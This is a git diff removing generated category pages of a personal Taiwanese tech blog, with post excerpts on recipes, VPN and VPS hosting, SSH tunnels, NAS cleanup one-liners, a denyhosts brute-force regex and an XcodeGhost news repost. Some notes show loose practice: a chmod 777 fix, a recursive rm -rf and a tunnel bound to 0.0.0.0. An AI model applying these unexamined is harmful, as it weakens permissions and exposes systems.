    [食譜] 飛利浦智慧萬用鍋 - 香蕉蛋糕

    -
    - - - 2015-11-17 - - - - - - - - - 未分類 - - - - - -
    - - - 材料: 1. 熟香蕉4根(越熟越香) -2. 鬆餅粉300g -3. 雞蛋3顆 -4. 牛奶50cc -5. 黃砂糖40g(不要加太多,香蕉本身已經很甜) -6. 有鹽奶油25g(刻意將油量減少,比較清爽健康) 做法: -1.鬆餅粉+雞蛋+牛奶+砂糖+奶油→攪拌均勻 2.帶手套將香蕉輕鬆捏成泥狀後加入做法1的材料糊中 3.將萬用鍋內鍋舖上烘培紙,並將蛋糕糊倒在烘培紙上 4.蓋上鍋蓋用無水烹調模式,按糕點,等時間到就可以享用香噴噴的香蕉蛋糕囉~ -此做法特意增加香蕉比例,讓濕潤度提升,口感介於發糕與蛋糕之間,吃起來是濕潤的不會乾乾的唷~ - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] MS Surface 的書桌環境

    -
    - - - 2015-11-10 - - - - - - - - - 未分類 - - - - - -
    - - - 作者 aaaba (小強) 看板 WindowsPhone 標題 [平板] Surface 戰情室 時間 Mon Nov 9 23:44:19 2015 -文章網址: https://www.ptt.cc/bbs/WindowsPhone/M.1447083863.A.2DA.html - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] senVPN - 適合拿來讓 ovo 電視盒看大陸影音平台內容的 VPN 業者

    -
    - - - 2015-10-29 - - - - - - - - - 未分類 - - - - - -
    - - - 首選: Dyxnet Internet PLUS ,既有大陸當地的LOCAL IP,又有台灣這邊的IP可以建 VPN Tunnel,但是這價位不是一般人付得起 …… -今天看到一個senVPN 的服務,價格不貴,又有 300M的試用流量,而且還有中國的伺服器!就順手在iPhone上建立VPN測試看看,開啟愛奇藝、PPTV等視頻軟體,不會出現非中國IP不能觀看的錯誤訊息,用高清畫質看片子也很順,基本沒有出現過「緩衝中」的狀況,而且價格真的不高,4.9/month , 9.99⁄3 months , 17.9⁄6 month , 29.9/year 有50GB 的流量,比起這幾天看過、測試過的其他VPN算是很優惠的了! -要不是先搞定了那個Internet PLUS,我可能就會改用這家的VPN的服務了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] Java 你真的要搞綁架首頁這招?

    -
    - - - 2015-10-26 - - - - - - - - - 未分類 - - - - - -
    - - - 今天早上出現的JAVA更新,預設就會幫你把首頁改成yahoo -我相信很多人大概都不會去看這個選項,然後就被改掉了… - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/5/index.html b/themes/public/categories/未分類/page/5/index.html deleted file mode 100644 index ec257782..00000000 --- a/themes/public/categories/未分類/page/5/index.html +++ /dev/null @@ -1,754 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [雜念]詭異的ptt 文字顯示問題

    -
    - - - 2015-10-15 - - - - - - - - - 未分類 - - - - - -
    - - - 這兩天自從改用 putty 建tunnel 上 ptt 之後,在各個版面都常看到這個字眼「輕蟆」 - -我以為又是啥新的大陸、日本用詞 -在幾篇文章底下推文,終於有個作者回我說他應該是打「輕鬆」沒錯啊 -想想是不是因為改了pietty的設定的關係,造成這種錯誤 -所以改用手機去看同一個版面,果然可以看到是正確的「輕鬆」 - -看來的確是 pietty 的設定問題了 -想到比較有可能的,一個是字型、一個是啥簡繁體轉換那邊 -果然發現在簡繁體轉換的地方,選到了換成正體中文,結果就變這樣了 -只要改回預設就OK了! -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [VPS] Hosthatch VPS in Hong Kong

    -
    - - - 2015-10-15 - - - - - - - - - 未分類 - - - - - -
    - - - VPN PLAN : $USD 8/ Quarter 8美元/三個月 - Status Online IPv4 Address 1 Virtualization Type (OpenVZ) Hostname vps1 Node SSD 26 HKG - OpenVZ Operating System CentOS 6 64-bit IPv6 Address 0 Disk Space 30 GB Bandwidth 1 TB Memory 256 MB VSwap 256 MB - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 昨日小築VPS 測試

    -
    - - - 2015-10-13 - - - - - - - - - 未分類 - - - - - -
    - - - 昨日小築原本是很知名的軟體下載網站,不過後來因為這類型的網站實在太多了 -有好長一陣子沒有注意這個網站的消息 -最近因為工作需求,想要找台灣的VPS空間放網站 -看到GOOGLE的關鍵字廣告中出現了昨日小築VPS的廣告 -點進去看了看,價格還算合理,比起中華電信的HiCloud 算是OK的 -想說那就來申請看看吧! -不過可惜的是,不能夠直接在網站上申請、開通 -要發信件給管理者,說明要申請的規格,再由管理者開通後台 -我覺得這部分應該可以再改進,像國外的VPS (比如說DigitalOcean的Droplet)那樣方便最好了! -雖然說都要透過信件聯絡,不過在上班時間內,信件回覆的速度是很快的 -而且管理者都會幫忙處理一些狀況,像是安裝OS之類的,算是很不錯的服務! -底下是在VPS裡面的一些測試狀況 > [root@vpn speedtest-cli-0.3.2]# ./speedtest_cli.py > > Retrieving speedtest.net configuration… > > Retrieving speedtest.net server list… > > Testing from HiNet (118.163.155.241)… > > Selecting best server based on latency… > > Hosted by China Mobile Group GanSu Co.Ltd (Lanzhou) [158.10 km]: 75.068 ms > > Testing download speed…………………………………. > > Download: 64.30 Mbit/s > > Testing upload speed…………………………………………. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 用plink 建立 ssh tunnel 連ptt 避免版面亂掉的解法

    -
    - - - 2015-10-12 - - - - - - - - - 未分類 - - - - - -
    - - - plink -ssh -L 3333:ptt.cc:23 -C bbs@vpn.cowbay.org -P 22 -但是用預設的 pietty 設定值會出現版面亂掉的情況 -找了好久才找到下面這一篇,照著設定就可以正常顯示了。 -作者: CChess (歸位) 看板: SYSOP 標題: PuTTY設定說明 時間: Fri Jun 27 00:21:56 2003 -※ [本文轉錄自 chinwa 看板] -作者: chinwa (青蛙) 看板: chinwa 標題: PuTTY設定說明 時間: Mon Jan 6 11:11:15 2003 -  > 首先,我們要修改程式的預設設定並儲存(沒提到的保留預設值即可): > > > 1. Terminal 頁: > > 1-1. 勾選 Enable blinking text(使PuTTY支援閃爍字); > > 1-2. Keyboard:The backspace key -> control-H; > > 1-3. Bell:Taskbar/caption indication on bell -> Flashing > > (如此在收到水球的話工作列上的圖示會閃爍提醒)。 > > > 2. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [轉貼] 蘋果 iOS 的 Xcode Ghost 事件

    -
    - - - 2015-09-22 - - - - - - - - - 未分類 - - - - - -
    - - - 1.因為中國網路長城的關係,造成很多中國使用者,習慣在「中國區網」內下載東西,沒有什麼警覺性。 2.希望真的只是場實驗,因為我也中招了….(名片全能王)   -原文連結:http://3c.ltn.com.tw/news/20584?page=1 iOS App 病毒爆發! 原來只是場「實驗」? 文/記者譚偉晟/ 2015-09-21 12:51 一個中國 iOS 的開發者,透過 Apple 的漏洞植入了名為「Xcode Ghost」的代碼,進一步透過 App 竊取用戶資料,糟糕的是已經有部份 App Store 上的 App 已經被感染,目前 Apple 已經開始清理這些被影響的 App,而這件事情的開始,卻僅僅只是開發者的「實驗」! - -iOS App 爆發病毒感染,原因是出在 Xcode 這個開發者工具(圖片來源/路透社) -對此大家不妨先弄清楚這整件事情的來龍去脈。以下分別從感染方式、事件始末、以及其他後續這三個部份說起,如果 iOS 用戶擔心已經安裝到被感染的 App,可以參考這篇文章(iOS App 大爆漏洞!一次中招 344 款 App!),來查看清單並確認手機中的 App 是否有問題。 - -其中不乏之名的 App 受到感染(圖片來源/彭博) -要搞清楚這個 iOS 爆發的重大病毒災情,首先得從「Xcode」這個項目說起。Xcode 是由 Apple 推出的開發工具,運行在 Mac OS X 上,是目前 Apple 開發者製作 Mac OS 和 iOS 應用程式的主要方式。而這次爆出的 iOS App 感染病毒事件,是由於一個名為「Xcode Ghost」的代碼。 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]匯出印表機設定

    -
    - - - 2015-09-21 - - - - - - - - - 未分類 - - - - - -
    - - - run as administrator -PrintBrm.exe -B -F D:\Printer -run with GUI -PrintBRMUi - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] LimitStyle 官網 居然不支援Firefox ??

    -
    - - - 2015-09-16 - - - - - - - - - 未分類 - - - - - -
    - - - 收到一封來自 LimitStyle 官網的信件,對裡面的訊息滿有興趣,所以就點選連結想看看 -因為我預設的瀏覽器是Firefox ,結果沒想到開出來的畫面變成這樣! -很久很久沒碰到有網頁不支援 FireFox 的…. -  -但是用 Chrome 開就不會有問題. - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/6/index.html b/themes/public/categories/未分類/page/6/index.html deleted file mode 100644 index 29d8dfee..00000000 --- a/themes/public/categories/未分類/page/6/index.html +++ /dev/null @@ -1,743 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] find exclude path

    -
    - - - 2015-09-15 - - - - - - - - - 未分類 - - - - - -
    - - - 找了好久,終於找到該怎麼在find 的結果中排除特定目錄 > find . -name ‘@eaDir’ -prune -o -mtime -7 -type f -print 趕快筆記下來! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] forfiles xcopy list files modified last x days

    -
    - - - 2015-09-14 - - - - - - - - - 未分類 - - - - - -
    - - - 筆記一下,免得忘掉 -為了解決DMP批次轉檔效率問題,想出一個方法不知道可不可行 -因為現行的方式是掃過一次NAS上的檔案,有異動的就去轉檔 -然後NAS上的檔案可能有上萬個,所以導致效能很糟糕.. -於是想說能不能先把有異動過的檔案,複製回本機,掃描過後,再去刪除,每天跑批次這樣.. -先筆記一下怎麼把有異動過的檔案複製回本機 > forfiles /S /P d:\BaiduYunDownload /D +2015/09/01 /M V.mkv -c “cmd /C Xcopy @path d:\test /y /s /d” 不過因為 forfiles 不支援 UNC ,所以要結合其他的命令 PushD -@echo off > PushD “\192.168.10.119\資訊部” &&( > > > “c:\windows\system32\forfiles.exe” /D +%data% -c “cmd /C c:\windows\system32\xcopy @path d:\test /y /s /d” > > > ) & PopD 這樣的作法不會建立完整的路徑…還要想看怎麼解決 -update -想了想,還是用 rsync 好了,比較好處理,先 rsync 到一個目錄,透過SMB 讓DMP主機Mount,再修改 config > rsync -Ra find /nas/資訊部 -type f -mtime -1 /root 這樣會在/root 底下建立 /nas/資訊部/1. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CloudStack 值得關注的技術

    -
    - - - 2015-09-14 - - - - - - - - - 未分類 - - - - - -
    - - - CloudStack 是前兩年發展的 IaaS (基礎架構即服務)技術 -最早是由VMOps公司開發,後來整間被 Citrix 買走( Citrix 自己有XenCenter啊,為何要買類似的技術?) -沒多久,Citrix 就把這個CloudStack Apache 軟體基金會,成為open source 軟體 -經過這兩三年的發展,現在慢慢的邁入「堪用」階段,值得花點心力關注一下 CloudStack & OpenStack 接下來的發展 -究竟有沒有機會幹掉 VMWARE ESX 成為伺服器虛擬化的要角呢? -讓我們繼續看下去~~~ -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 用 denyhosts 來阻擋 Dovecot 暴力測試帳號密碼

    -
    - - - 2015-08-28 - - - - - - - - - 未分類 - - - - - -
    - - -

    OS:FC13

    - -

    Dovecot: 1.2.16

    - -

    logfile: /var/log/secure

    - -

     

    - -

    修改 denyhosts.conf

    - -

    將 #USERDEF_FAILED_ENTRY_REGEX= 前面的 # 拿掉

    - -

    改為 -> USERDEF_FAILED_ENTRY_REGEX= pam.dovecot.(?:authentication failure).rhost=(?:::f{4,6}:)?(?P<host>\S) -理論上應該就可以了..

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 找出並刪除群暉討人厭的 @eaDir 目錄

    -
    - - - 2015-08-25 - - - - - - - - - 未分類 - - - - - -
    - - - 最近試著自己做NAS 的Remote Backup -但是因為群暉的NAS,都會在目錄底下自己建立一個 @eaDir 的目錄,就覺得很礙眼 -可是偏偏又用個 “@“符號開頭,造成一般 rm 指令還不能刪除 .. -今天測試了一下,發現用 find 配合 iname 、 xargs 可以處理 > find /zp/backup/sd -iname “@eaDir” -print0 | xargs -0 rm -rf 這樣一行就解決了! - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] PYDIO 的 LOGO 位置

    -
    - - - 2015-05-12 - - - - - - - - - 未分類 - - - - - -
    - - - 圖檔: /usr/local/www/pydio/plugins/action.share/res/dl.png -public download template : /usr/local/www/pydio/plugins/action.share/res/public_links.php -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/7/index.html b/themes/public/categories/未分類/page/7/index.html deleted file mode 100644 index e223b189..00000000 --- a/themes/public/categories/未分類/page/7/index.html +++ /dev/null @@ -1,766 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [心得] ovo 電視盒 + VPN + 小米路由器 mini + PPTP

    -
    - - - 2015-03-12 - - - - - - - - - 未分類 - - - - - -
    - - -

    老爸愛買東西的毛病又犯了,上網買了台 ovo的電視盒

    - -

    在這種設備裡面, ovo 的東西算貴的,小米盒子 1400不到,就算 apple tv 也不過 2000不到

    - -

    但是這台電視盒要價 2990 ,比 APPLE TV還貴!

    - -

    他的特異功能,這邊就略過不提了,來講講實際操作時碰到的問題

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] 群暉 Synology NAS 討厭的 @eaDir 權限問題

    -
    - - - 2015-01-23 - - - - - - - - - 未分類 - - - - - -
    - - - 這幾年用群暉的NAS下來,碰到一個問題一直無解 > Problem Explanation: > > 共用資料夾已開放所有人可以讀取/寫入,也未開啟ACL > 在共用資料夾底下的子目錄中的某個XLSX檔案,在不同電腦上用不同的網域帳號開啟並嘗試寫入時,會出現文件未儲存的錯誤訊息,關掉檔案之後,原始的XLSX會消 > 失,只留下一個 xxxx.tmp檔案,將tmp重新命名為xlsx之後,又可以開啟。 這是我幾年前問過的問題 -經過多次的信件往來、遠端操作之後,群暉客服回覆的答案是 > 最後RD找出原因是 您提供的有問題的目錄底下 @eaDir 這個DSM系統資料夾權限有誤(沒有執行權限), > > 不確定 這顆硬碟 是不是由其它機種 轉移過來繼續使用的? > > 若下次您遇到同樣問題,可以到console下,輸入指令 「chmod 777 /共用資料夾/子目錄/@eaDir」 > > 就可以了。 不過呢,因為這不是第一次碰到這種狀況 -所以我跟著回覆他們 > 這台NAS上的資料都是從舊的RS810+移轉過來的 > > 這個@eaDir目錄造成的錯誤你們之前有回覆過 > > 那時候我有確認過是不是我找出所有 @eaDir目錄並且去 chmod 777 就可以解決 > > 你們給我的答案是肯定的 > > 當時的信件標題是: Synology Online Support #158881: [DS1812+ DSM 4.1-2647] > > 我有進入console直接下指令去把所有 @eaDir的權限改掉 > > 不過現在看來似乎是沒用,而且問題會不定時發生?? > > 是否有其他一勞永逸的方法可以避免再次碰到這種狀況?   - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] ASP 亂數陣列

    -
    - - - 2015-01-22 - - - - - - - - - 未分類 - - - - - -
    - - - 尾牙可能會用到… -簡單說就是XX排序,不過我忘記那個名詞了.. (bubble ? ) > dim myarray(60) > > for i = 1 to 60 > > myarray(i) = i > > Next > > for j = 1 to 59 > > randomize > > j1 = Int((60-1+1) * Rnd +1 ) > > k1 = Int((60-1-1)*Rnd+1) > > t1 = myarray(j1) > > myarray(j1) = myarray(k1) > > myarray(k1) = t1 > > Next   -  -  - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 未分類 - - - - - -
    - - - 今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了 -之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的 -而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。 -安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore -可是下載速度很慢,大概只有2xx KB ! -下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔 -FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右.. - -我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法 -我們沒有限速!下載速度受到很多因素影響之類的廢話! > There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved 實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [測試]同步多個Wordpress

    -
    - - - 2015-01-10 - - - - - - - - - 未分類 - - - - - -
    - - - 在GCE上搞了一個測試用的 Wordpress -想說來玩玩看多個WP同步 -下載了 WP2WP 的plugin ,設定很簡單 -底下試試看能不能同步圖片等等 - -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] SSH+MyEntunnel+MiWifi 讓小米盒子可以加速?

    -
    - - - 2015-01-08 - - - - - - - - - 未分類 - - - - - -
    - - - 找個香港/美國 的VPS 建帳號可以用SSH登入 -用myentunnel 連到 VPS ,修改設定,把本來只能給本機(127.0.0.1)連線,改成 0.0.0.0 接受所有連線 -PC本機接miwifi 分享無線,小米盒子連 miwifi 的無線?不過這樣好像只有網頁會走ssh tunnel 出去? -不然小米盒子要設定proxy 實在很麻煩.. -  - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/8/index.html b/themes/public/categories/未分類/page/8/index.html deleted file mode 100644 index b5380098..00000000 --- a/themes/public/categories/未分類/page/8/index.html +++ /dev/null @@ -1,735 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 蘋果手機、筆電、桌機寄出的信件Header

    -
    - - - 2014-12-01 - - - - - - - - - 未分類 - - - - - -
    - - - iPhone > X-Mailer: iPhone Mail Mac Mini , Encourgea > User-Agent: Microsoft-Entourage/12.0.0.071130 Mac Mini , Default System Mail > Mime-Version: 1.0 (Apple Message framework v1283) > > X-Mailer: Apple Mail (2.1283) MacBook Air > X-Mailer: Apple Mail (2.1990.1) > > > Content-Type: multipart/alternative; boundary=“Apple-Mail=_F0450FDD-9C23-4092-9F0F-170305E65288” > > > Mime-Version: 1.0 (Mac OS X Mail 8.0 (1990.1))   -  -透過Google 代發? > X-Google-Original-From: ABC <abc@abc.com.tw>   -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 台北 改變成真 鄉民版 備份

    -
    - - - 2014-11-26 - - - - - - - - - 未分類 - - - - - -
    - - - 怕哪時候被人家檢舉下架,先備份起來。 -影片水管連結: https://www.youtube.com/watch?v=Y6k4nr8otJE -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/11/台北-改變成真-YouTube-720p.mp4"][/video] - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 詭異的IE問題

    -
    - - - 2014-11-10 - - - - - - - - - 未分類 - - - - - -
    - - - KS 的PC, WinXP + IE8 -IE開啟 yahoo首頁OK,但是要點頁面上的任何一個連結,不管連結到哪裡,一定會出現找不到網頁的錯誤。 -但是開啟google 或者其他任何網頁都OK。 -最後重設IE8之後解決,但是還是不知道原因… - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [分流] 蓮蕂芠競選總部 - 加州樂透篇

    -
    - - - 2014-10-28 - - - - - - - - - 未分類 - - - - - -
    - - - 在八卦版看到的 -作者: WatPoint (華點) 看板: joke 標題: [kuso] 蓮蕂芠競選總部-加州樂透篇(完全同步版) 時間: Tue Oct 28 16:53:32 2014 -  -蓮蕂芠競選總部 - 加州樂透篇 (純屬虛構,不要告我QQ): http://youtu.be/BEtxA8_85a4 -影片說明: 今天早上,連勝文的食安競選廣告,被發現跟加州樂透的廣告很像 為了確定到底有多像,特地做了這個影片將兩者同步。沒想到同步率根本… -※※※※※※註:加州樂透的廣告有經過縮放並調整時間軸※※※※※※ ※註:加州樂透的廣告有經過縮放處理 -連勝文競選總部-食安篇: http://youtu.be/zQRd0PL-Ot4 加州樂透廣告: https://www.youtube.com/watch?v=15hT5TOSVAg https://www.youtube.com/watch?v=FUd99lU3A9c -因登入次數不足,無法在八卦發文,求勇者幫轉八卦 -[video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/10/蓮蕂芠競選總部---加州樂透篇-純屬虛構,不要告我QQ.mp4"][/video] -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    尿尿發電 讓手機永遠都滿格

    -
    - - - 2014-10-16 - - - - - - - - - 未分類 - - - - - -
    - - - 尿尿發電 讓手機永遠都滿格 【經濟日報╱文/編譯余曉惠】 2014.10.04 08:39 am 習慣小解完馬上沖水?別急!布里斯托機器人學實驗室(Bristol Robotics Laboratory,BRL)能把尿轉化成電力,幫手機充電。 圖/網路 習慣小解完馬上沖水?別急!布里斯托機器人學實驗室(Bristol Robotics Laboratory,BRL)能把尿轉化成電力,幫手機充電。 -這個作法聽來有點荒唐,但在今年初由印度生技部和蓋茲基金會共同主辦的「廁所改造展」上,英國布里斯托大學和西英格蘭大學合組的BRL團隊,展示這種有特殊功能的小便斗。 -布里斯托生物能源中心主任艾羅包洛斯(Yannis Ieropoulos)說:「原理很簡單,只要讓小便斗排水管直接通向微生物燃料電池(MFCs)就成了。不用幫浦,也不必準備什麼過濾網或細胞膜。」 -艾羅包洛斯說,微生物燃料電池可以透過活生生的微生物體,把有機物質直接轉化為電力。 -這種電力是微生物自然生命循環的的副產品,當他們吃下愈多尿液這種東西,就能產生愈多能量,提供更多電力。 -目前全球每年可生產超過6兆公噸的尿液,代表發展成再生能源的商機很可觀。 點此看大圖。 圖/經濟日報提供 BRL團隊利用尿液發電的微生物燃料電池,已經可供智慧手機傳簡訊、短時間通話與瀏覽網頁。 -艾羅包洛斯說:「打電話是手機最耗電的功能,但我們會努力提高發電量,延長使用時間。」 -這個計畫已經獲得蓋茲基金會等機構投資,未來將應用在廁所不足、供電不穩的開發中國家。 -BRL團隊還希望把這種「電力尿」(urine-tricity)推廣到富裕國家,只要把微生物燃料電池加裝在現成的廁所,就能發電。終極目標則是善用廢物來生產能源,同時改善環境衛生,提高人類的生活品質。 哥本哈根資訊科技大學(ITU)有一群科學家,也在研究如何把尿轉化成微生物燃料電池並發電,但不同之處在於,他們自己研發出名為「EVOBOT」的機器人,專門負責重複性高且耗時費力的實驗,用來證明初步研究結果的準確性。利用機器人做實驗,引發人類有朝一日被機器人取代的辯論,不過丹麥實驗室技術員協會(DALT)認為目前沒有這個問題。 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/未分類/page/9/index.html b/themes/public/categories/未分類/page/9/index.html deleted file mode 100644 index 2d6839b1..00000000 --- a/themes/public/categories/未分類/page/9/index.html +++ /dev/null @@ -1,758 +0,0 @@ - - - - - - - - - - 未分類 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [雜念] 有沒有 CrazyMike 瘋狂賣客用iphone 6 吸金的八卦?

    -
    - - - 2014-09-15 - - - - - - - - - 未分類 - - - - - -
    - - - 這幾天一直收到這個網站寄來的廣告 -標題當然要下得很聳動,9元買 iphone 6 !? - -點進去看看唄.. -其實是 9元即可購得 iphone6 的「兌換券抽獎資格」,意思就是說你要參加這個抽獎,要買9元的門票一張就對了 -  - -  -實在是好棒棒~~怎麼能不心動呢!? -馬上來看看活動辦法 -  (9)活動結束後,尚未抽中之消費者,於得獎名單2014/10/1公布當日,即可收到等值購物金$9回饋至個人會員帳戶中心,使用期限為2星期 (10⁄1~10⁄14)。 -  -截至目前為止 (2014/9/16 12:59) 共有 8326 人購買 8326*9 = 74934 -  -這些錢是放在帳戶當作購物金使用,但是網站上有 9 塊的東西可以買嗎?沒有嘛! -所以為了要取回這9元,勢必要額外消費,假設是100塊好了 -8326-1(抽到iphone6的幸運之神!) * 100 = 832500 -最差的假設就是這8325人都不要這9元了 -(8326-1) * 9 = 74925 -所以這個網站透過這個活動,能夠獲得的收入區間為 -(8326-1)* 100 ~ (8326-1) * 9 -扣除手機的官方定價 22500 -數字大概會是 -810000 ~~~ 52425 之間 -有沒有不用成本就可以這麼吸金的八卦? -  -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [時事] 黑心油商 強冠 下游廠商明細

    -
    - - - 2014-09-05 - - - - - - - - - 未分類 - - - - - -
    - - - 8 M1526 合記10 台中市大里市愛心一街20號04-24062757 14 M1617 榮華行20 台中市大里區仁化路310巷9號04-24922552 11 M1588 英辰121 台中市大里區化工19路6號04-24919666 17 M1634 順發商行25 台中市北屯區豐樂路11-1號04-24220129 15 M1630 這一鍋餐飲191 台中市西屯區工業區32路51號04-36093100 10 M1587 青海行20 台中市西屯區光明路52號04-24521699 16 M1633 大謹發農產50 台中市沙鹿區福至路150巷10-1號04-26625943 12 M1593 美食達人229 台中市南屯區工業區23路30號04-36091465 1 M1057 忠興524 台中市南屯路2段162巷1號04-24753818 9 M1569 宏茆83 台中市烏日區環中路七段221~223號04-23363030 5 M1211 品欣食品450 台中市神岡區中山路228號04-25240698 226 T1214 盛香珍491 台中市梧棲區自強一街146號042-6352711 13 M1612 立晟食品51 台中市潭子區中山路三段491號04-25317979 2 M1060 吉星30 台中縣大甲鎮信義路44號04-26884381 19 M1955 麥可利40 台中縣神岡鄉社口街10巷10號04-25633579 233 T2001 味王345 台北市中山北路二段79號5樓022-5717271-517 89 N3400 皇品3 台北市內湖區內湖路一段203巷11號02-27971305 230 T1377 工研4611 台北市信義區忠孝東路四段559巷38號2樓04-2407-8114 95 N3485 美加源10 台北市龍江路356巷68號1樓02-25153071 78 N3009 佛晨453 台北市龍江路429巷8號1樓02-25024707 182 S3472 家華178 台東市中華路一段227號089-343780 183 S3474 三能100 台東市四維路一段512號089-353589 192 S3577 叢林之屋1 台東市光明路158號089-322268 187 S3496 優品20 台東市康樂路3號 08-9356520 181 S3466 明德75 台東市傳廣路369號089-336266 188 S3498 成典164 台東市豐谷北路73號089-333595 214 S4196 銘勝200 台南市中西區樹林街2段6號06-2132877 202 S4032 滋味珍37 台南市中華西路一段103號 06-2614186#247 213 S4189 糧元130 台南市中華東路2段208號06-2349696 106 S1608 林太太60 台南市中華東路2段226巷47號928551393 217 S4227 旺來鄉40 台南市仁德區仁德里中山路797號1樓06-2498701 147 S2711 台糖3 台南市仁德區田厝村文華路2段326號0921-220788 216 S4212 大東233 台南市永康區大橋3街52號06-2022955 209 S4149 唐明1009 台南市永康區大灣路187號06-2712590 204 S4068 美而美600 台南市安平工業區新平路7-1號06-2970033 199 S4022 正裕650 台南市西門路一段368號 06-2633687 198 S4021 慶泰260 台南市西區府前路2段220號2220227 105 S1605 陳清田30 台南市佳里區延平路215號956098177 218 S4233 金德108 台南市府安路5段144巷3號06-2595359 220 S4278 久芳113 台南市東山區聖賢里頂窩68號06-6328479 203 S4039 長安農產300 台南市長溪路3段380巷100一1號06-2552553 197 S4012 信益2748 台南市長榮路五段419號2515206 200 S4029 永豐4 台南市南區賢南街51號 06-2911031 210 S4161 永昌50 台南市崇學路203巷2號06-2377115 